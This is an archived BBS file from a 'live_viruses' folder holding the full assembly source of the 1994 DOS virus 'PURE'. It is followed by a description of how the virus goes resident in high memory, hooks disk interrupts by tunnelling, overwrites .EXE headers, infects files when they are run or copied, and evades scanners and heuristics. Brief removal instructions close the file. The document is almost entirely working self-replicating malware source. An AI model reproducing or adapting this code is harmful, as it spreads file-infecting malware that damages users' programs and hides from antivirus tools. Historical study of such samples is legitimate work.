home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
pure.asm
< prev
next >
Wrap
Assembly Source File
|
1994-02-18
|
14KB
|
480 lines
cseg segment para public 'code'
pure proc near
assume cs:cseg
;-----------------------------------------------------------------------------
;designed by "Q" the misanthrope.
;-----------------------------------------------------------------------------
.186
ALLOCATE_HMA equ 04a02h
CLOSE_HANDLE equ 03e00h
COMMAND_LINE equ 080h
COM_OFFSET equ 00100h
CRITICAL_INT equ 024h
DENY_NONE equ 040h
DONT_SET_OFFSET equ 006h
DONT_SET_TIME equ 040h
DOS_INT equ 021h
DOS_SET_INT equ 02500h
EIGHTEEN_BYTES equ 012h
ENVIRONMENT equ 02ch
EXEC_PROGRAM equ 04b00h
EXE_SECTOR_SIZE equ 004h
EXE_SIGNATURE equ 'ZM'
FAIL equ 003h
FAR_INDEX_CALL equ 01effh
FILENAME_OFFSET equ 0001eh
FILE_OPEN_MODE equ 002h
FIND_FIRST equ 04e00h
FIND_NEXT equ 04f00h
FIRST_FCB equ 05ch
FLUSH_BUFFERS equ 00d00h
FOUR_BYTES equ 004h
GET_DTA equ 02f00h
GET_ERROR_LEVEL equ 04d00h
HARD_DISK_ONE equ 081h
HIDDEN equ 002h
HIGH_BYTE equ 00100h
HMA_SEGMENT equ 0ffffh
INT_13_VECTOR equ 0004ch
JOB_FILE_TABLE equ 01220h
KEEP_CF_INTACT equ 002h
MAX_SECTORS equ 078h
MULTIPLEX_INT equ 02fh
NEW_EXE_HEADER equ 00040h
NEW_EXE_OFFSET equ 018h
NULL equ 00000h
ONLY_READ equ 000h
ONLY_WRITE equ 001h
ONE_BYTE equ 001h
OPEN_W_HANDLE equ 03d00h
PARAMETER_TABLE equ 001f1h
READ_A_SECTOR equ 00201h
READ_ONLY equ 001h
READ_W_HANDLE equ 03f00h
REMOVE_NOP equ 001h
RESET_CACHE equ 00001h
RESIZE_MEMORY equ 04a00h
SECOND_FCB equ 06ch
SECTOR_SIZE equ 00200h
SETVER_SIZE equ 018h
SHORT_JUMP equ 0ebh
SIX_BYTES equ 006h
SMARTDRV equ 04a10h
SYSTEM equ 004h
SYS_FILE_TABLE equ 01216h
TERMINATE_W_ERR equ 04c00h
THREE_BYTES equ 003h
TWENTY_HEX equ 020h
TWENTY_THREE equ 017h
TWO_BYTES equ 002h
UN_SINGLE_STEP equ not(00100h)
VERIFY_3SECTORS equ 00403h
VOLUME_LABEL equ 008h
WRITE_A_SECTOR equ 00301h
WRITE_W_HANDLE equ 04000h
XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
PURE_CODE_IS_AT equ 00147h
;-----------------------------------------------------------------------------
bios_seg segment at 0f000h
org 00000h
old_int_13_addr label word
bios_seg ends
;-----------------------------------------------------------------------------
org COM_OFFSET
com_code:
;-----------------------------------------------------------------------------
jmp short alloc_memory
DISPLACEMENT equ $
;-----------------------------------------------------------------------------
dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT,NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
;-----------------------------------------------------------------------------
org PURE_CODE_IS_AT
;-----------------------------------------------------------------------------
ax_cx_di_si_cld proc near
mov di,bx
add di,PURE_CODE_IS_AT-COM_OFFSET
ax_cx_si_cld: call set_si
set_si: pop si
sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
mov ax,XOR_CODE
das
cld
ret
ax_cx_di_si_cld endp
;-----------------------------------------------------------------------------
org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
ALLOC_STARTS equ $
;-----------------------------------------------------------------------------
alloc_memory proc near
mov ah,high(FLUSH_BUFFERS)
int DOS_INT
xor di,di
mov ds,di
mov bh,high(SECTOR_SIZE)
dec di
mov ax,ALLOCATE_HMA
int MULTIPLEX_INT
mov ax,SMARTDRV
mov bx,RESET_CACHE
int MULTIPLEX_INT
mov bl,SIX_BYTES
inc di
jz find_name
call ax_cx_si_cld
rep movs byte ptr es:[di],cs:[si]
alloc_memory endp
;-----------------------------------------------------------------------------
set_int_13 proc near
mov ax,offset interrupt_one
xchg word ptr ds:[bx-TWO_BYTES],ax
push ax
push word ptr ds:[bx]
mov word ptr ds:[bx],cs
xchg cx,di
mov dl,HARD_DISK_ONE
pushf
pushf
pushf
mov bp,sp
mov ax,VERIFY_3SECTORS
or byte ptr ss:[bp+ONE_BYTE],al
popf
dw FAR_INDEX_CALL,INT_13_VECTOR
popf
pop word ptr ds:[bx]
pop word ptr ds:[bx-TWO_BYTES]
set_int_13 endp
;-----------------------------------------------------------------------------
find_name proc near
mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
look_for_nulls: inc bx
cmp word ptr ds:[bx-FOUR_BYTES],di
jne look_for_nulls
find_name endp
;-----------------------------------------------------------------------------
open_file proc near
push ds
push bx
mov ch,THREE_BYTES
call open_n_read_exe
push cs
pop es
mov bx,dx
call convert_back
pop dx
pop ds
jne now_run_it
push ds
push dx
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
call call_dos
push bx
int MULTIPLEX_INT
mov dx,SYS_FILE_TABLE
xchg ax,dx
mov bl,byte ptr es:[di]
int MULTIPLEX_INT
pop bx
mov ch,high(SECTOR_SIZE)
mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
cmpsw
stosb
mov dx,offset critical_error+COM_OFFSET
int DOS_INT
or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
call reclose_it
pop dx
pop ds
open_file endp
;-----------------------------------------------------------------------------
now_run_it proc near
push cs
pop es
mov bx,offset exec_table
mov ah,high(RESIZE_MEMORY)
int DOS_INT
mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
xchg bx,si
mov di,bx
mov ax,EXEC_PROGRAM
set_table: scasw
movs byte ptr es:[di],cs:[si]
scasb
mov word ptr cs:[di],cs
je set_table
call call_dos
mov ax,FIND_FIRST
mov dx,offset exe_file_mask
mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
find_next_file: call call_dos
mov ah,high(GET_DTA)
int DOS_INT
add bx,FILENAME_OFFSET
push es
pop ds
call open_n_read_exe
mov ah,high(FIND_NEXT)
loop find_next_file
done: mov ah,high(GET_ERROR_LEVEL)
int DOS_INT
mov ah,high(TERMINATE_W_ERR)
now_run_it endp
;-----------------------------------------------------------------------------
call_dos proc near
int DOS_INT
jc done
xchg ax,bx
push cs
pop ds
mov ax,JOB_FILE_TABLE
ret
call_dos endp
;-----------------------------------------------------------------------------
exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
;-----------------------------------------------------------------------------
open_n_read_exe proc near
mov dx,bx
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
call call_dos
mov dx,offset critical_error
mov ax,DOS_SET_INT+CRITICAL_INT
int DOS_INT
inc dh
mov ah,high(READ_W_HANDLE)
int DOS_INT
reclose_it: mov ah,high(CLOSE_HANDLE)
jmp short call_dos
open_n_read_exe endp
;-----------------------------------------------------------------------------
interrupt_one proc far
cmp ax,VERIFY_3SECTORS
jne interrupt_ret
push ds
pusha
mov bp,sp
lds si,dword ptr ss:[bp+EIGHTEEN_BYTES]
cmp word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
jne go_back
mov si,word ptr ds:[si+THREE_BYTES]
cmp word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
jne go_back
cld
mov di,cx
movsw
movsw
sub di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
org $-REMOVE_NOP
mov word ptr ds:[si-FOUR_BYTES],di
and byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
go_back: popa
pop ds
critical_error: mov al,FAIL
interrupt_ret: iret
interrupt_one endp
;-----------------------------------------------------------------------------
exe_file_mask db '*.E*',NULL
;-----------------------------------------------------------------------------
convert_back proc near
call ax_cx_di_si_cld
repe cmps byte ptr cs:[si],es:[di]
jne not_pure
xor byte ptr ds:[bx],ah
call ax_cx_di_si_cld
rep stosb
not_pure: ret
convert_back endp
;-----------------------------------------------------------------------------
convert_to proc near
pusha
stc
pushf
cmp word ptr ds:[bx],EXE_SIGNATURE
jne not_exe_header
mov ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
cmp ax,MAX_SECTORS
ja not_exe_header
cmp al,SETVER_SIZE
je not_exe_header
cmp word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
jae not_exe_header
call ax_cx_di_si_cld
pusha
repe scasb
popa
jne not_exe_header
xor byte ptr ds:[bx],ah
rep movs byte ptr es:[di],cs:[si]
popf
clc
pushf
not_exe_header: popf
popa
ret
convert_to endp
;-----------------------------------------------------------------------------
interrupt_13 proc far
int_13_entry: cmp ah,high(READ_A_SECTOR)
jb call_old_int_13
cmp ah,high(VERIFY_3SECTORS)
ja call_old_int_13
push ds
push es
pop ds
call convert_to
pushf
push cs
call call_old_int_13
pushf
call convert_to
pusha
jc do_convertback
mov ax,WRITE_A_SECTOR
pushf
push cs
call call_old_int_13
do_convertback: call convert_back
popa
popf
pop ds
retf KEEP_CF_INTACT
interrupt_13 endp
;-----------------------------------------------------------------------------
org COM_OFFSET+SECTOR_SIZE-ONE_BYTE
;-----------------------------------------------------------------------------
call_old_int_13 proc near
jmp far ptr old_int_13_addr
call_old_int_13 endp
;-----------------------------------------------------------------------------
org COM_OFFSET+SECTOR_SIZE
;-----------------------------------------------------------------------------
goto_dos proc near
mov ax,TERMINATE_W_ERR
nop
far_ptr_addr: int DOS_INT
goto_dos endp
;-----------------------------------------------------------------------------
pure endp
cseg ends
end com_code
;-----------------------------------------------------------------------------
Virus Name: PURE
Aliases:
V Status: New, Research Viron
Discovery: February, 1994
Symptoms: None - Pure Stealth
Origin: USA
Eff Length: 441 Bytes
Type Code: OReE - Extended HMA Memory Resident Overwriting .EXE Infector
Detection Method: None
Removal Instructions: See Below
General Comments:
The PURE virus is a HMA memory resident overwriting direct action
infector. The virus is a pure 100% stealth virus with no detectable
symptoms. No file length increase; overwritten .EXE files execute
properly; no interrupts are directly hooked; no change in file date or
time; no change in available memory; INT 12 is not moved; no cross
linked files from CHKDSK; when resident the virus cleans programs on
the fly; works with all 80?86 processors; VSAFE.COM does not detect
any changes; Thunder Byte's Heuristic virus detection does not detect
the virus; Windows 3.1's built in warning about a possible virus does
not detect PURE.
The PURE virus will only load if DOS=HIGH in the CONFIG.SYS file. The
first time an infected .EXE file is executed, the virus goes memory
resident in the HMA (High Memory Area). The hooking of INT 13 is
accomplished using a tunnelling technique, so memory mapping utilities
will not map it to the virus in memory. It then reloads the infected
.EXE file, cleans it on the fly, then executes it. After the program
has been executed, PURE will attempt to infect 15 .EXE files in the
current directory.
If the PURE virus is unable to install in the HMA or clean the infected
.EXE on the fly, the virus will reopen the infected .EXE file for
read-only; modify the system file table for write; remove itself, and
then write the cleaned code back to the .EXE file. It then reloads
the clean .EXE file and executes it. The virus can not clean itself
on the fly if the disk is compressed with DBLSPACE or STACKER, so it
will clean the infected .EXE file and write it back. It will also
clean itself on an 8086 or 8088 processor.
It will infect an .EXE if it is executed, opened for any reason or
even copied. When an uninfected .EXE is copied, both the source and
destination .EXE file are infected.
The PURE virus overwrites the .EXE header if it meets certain criteria.
The .EXE file must be less than 62K. The file does not have an
extended .EXE header. The file is not SETVER.EXE. The .EXE header
must be all zeros from offset 71 to offset 512; this is where the PURE
virus writes it code. The PURE virus then changes the .EXE header to
a .COM file. Files that are READONLY can also be infected.
To remove the virus from your system, change DOS=HIGH to DOS=LOW in
your CONFIG.SYS file. Reboot the system. Then run each .EXE file
less than 62k. The virus will remove itself from each .EXE program
when it is executed. Or, leave DOS=HIGH in you CONFIG.SYS; execute
an infected .EXE file, then use a tape backup unit to copy all your
files. The files on the tape have had the virus removed from them.
Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file. Reboot the
system. Restore from tape all the files back to your system.